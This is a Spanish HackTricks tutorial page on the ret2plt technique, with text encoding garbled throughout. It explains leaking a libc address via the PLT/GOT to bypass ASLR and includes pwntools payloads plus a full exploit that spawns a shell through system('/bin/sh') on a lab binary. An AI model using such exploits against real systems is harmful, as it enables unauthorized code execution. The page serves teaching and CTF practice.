Ret2plt
Reading time: 3 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Informaci贸n B谩sica
El objetivo de esta t茅cnica ser铆a filtrar una direcci贸n de una funci贸n del PLT para poder eludir ASLR. Esto se debe a que si, por ejemplo, filtras la direcci贸n de la funci贸n puts
de la libc, puedes entonces calcular d贸nde est谩 la base de libc
y calcular los desplazamientos para acceder a otras funciones como system
.
Esto se puede hacer con una carga 煤til de pwntools
como (desde aqu铆):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Nota c贸mo puts
(usando la direcci贸n del PLT) se llama con la direcci贸n de puts
ubicada en la GOT (Tabla de Desplazamiento Global). Esto se debe a que para cuando puts
imprime la entrada de la GOT de puts, esta entrada contendr谩 la direcci贸n exacta de puts
en memoria.
Tambi茅n nota c贸mo se utiliza la direcci贸n de main
en el exploit, de modo que cuando puts
termina su ejecuci贸n, el binario llama a main
nuevamente en lugar de salir (as铆 que la direcci贸n filtrada seguir谩 siendo v谩lida).
caution
Nota c贸mo para que esto funcione el binario no puede ser compilado con PIE o debes haber encontrado una filtraci贸n para eludir PIE para conocer la direcci贸n del PLT, GOT y main. De lo contrario, necesitas eludir PIE primero.
Puedes encontrar un ejemplo completo de este bypass aqu铆. Este fue el exploit final de ese ejemplo:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Otros ejemplos y referencias
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la direcci贸n de puts desde el GOT y luego un gadget ROP para llamar a
system('/bin/sh')
- https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits, ASLR habilitado, sin canario, desbordamiento de pila en main desde una funci贸n hija. Gadget ROP para llamar a puts y filtrar la direcci贸n de puts desde el GOT y luego llamar a un gadget one.
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.